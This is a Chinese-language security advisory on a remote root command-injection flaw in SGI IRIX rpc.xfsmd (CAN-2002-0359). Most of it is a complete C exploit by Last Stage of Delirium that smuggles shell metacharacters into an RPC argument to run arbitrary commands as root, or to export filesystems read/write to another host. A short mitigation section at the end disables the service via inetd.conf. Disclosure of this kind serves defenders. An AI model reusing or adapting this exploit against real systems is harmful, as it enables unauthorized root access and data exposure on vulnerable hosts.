SGI IRIX rpc.xfsmd远程命令执行漏洞发布时间:2002-06-24 更新时间:2002-06-24 严重程度:高 威胁程度:远程管理员权限 错误类型:输入验证错误 利用方式:服务器模式 BUGTRAQ ID:5075 CVE(CAN) ID:CAN-2002-0359 受影响系统 SGI IRIX 6.2详细描述 <RPC XFSMD> 在实现远程过程调用时,服务器会使用Popen() libc函数,当popen()函数使用时,传递给RPC的参数可以包含命令字符串,由于程序没有对这些参数进行过滤,如果包含SHELL元字符,如";""|"嵌入到远程提供的参数中,就可以导致额外的命令执行,命令将以ROOT权限执行。 测试代码 /*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/ /*## xfsmd #*/ /* this code forces xfsmd to execute any command on remote IRIX host or */ /* to export any file system from it with read/write privileges. */ /* the exploit requires that DNS is properly configured on an attacked */ /* host. additionally, if the file systems are to be exported from a */ /* vulnerable system, it must have NFS subsystem running. */ /* example usage: */ /* xfsmd address -c "touch /etc/lsd" */ /* (executes "touch /etc/lsd" command as root user on a vulnerable host) */ /* xfsmd address -e 10.0.0.1 -d "/" */ /* (exports / filesystem to the 10.0.0.1 host with rw privileges) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <rpc/rpc.h> #include <netdb.h> #include <stdio.h> #include <errno.h> #define XFS_PROG 391016 #define XFS_VERS 1 #define XFS_EXPORT 13 typedef char *req_t; typedef struct{char *str1;int errno;}res_t; bool_t xdr_req(XDR *xdrs,req_t *objp){ if(!xdr_string(xdrs,objp,~0)) return(FALSE); return(TRUE); } bool_t xdr_res(XDR *xdrs,res_t *objp){ if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE); if(!xdr_int(xdrs,&objp->errno)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char command[10000],*h,*cmd,*hst=NULL,*dir="/etc"; int i,port=0,flag=0,c; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; res_t res; printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland //lsd-pl.net/\n"); printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\n\n"); if(argc<3){ printf("usage: %s address -c \"command\" [-p port]\n",argv[0]); printf(" %s address -e address [-d dir] [-p port]\n",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){ switch(c){ case 'c': flag=0;cmd=optarg;break; case 'e': flag=1;hst=optarg;break; case 'd': dir=optarg;break; case 'p': port=atoi(optarg); } } req=command; if(!flag){ printf("executing %s command... ",cmd); sprintf(req,"XFS_MNT_DIR:/tmp\nroot:;%s;",cmd); }else{ printf("exporting %s directory to %s... ",dir,hst); sprintf(req,"XFS_FS_NAME:%s\nroot:%s\n",dir,hst); } adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); }else{ if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } } if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0; else strcat(hp->h_name,"."); i=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){ clnt_pcreateerror("error");exit(-1); } cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL); stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);} printf("%s\n",(!flag)?"ok":((!res.errno)?"ok":"failed")); } 解决方案 此产品已经过期,SGI将不推出补丁,请按照如下方法关闭: # killall /usr/etc/xfsmd # vi /etc/inetd.conf 在sgi_xfsmd/1 stream rpc/tcp wait root ?/usr/etc/xfsmd xfsmd 前增加#注释符。 保存退出。 # killall -HUP inetd 相关信息 Last Stage of Delirium. 参考:http://online.securityfocus.com/advisories/4221 http://online.securityfocus.com/archive/1/277957 |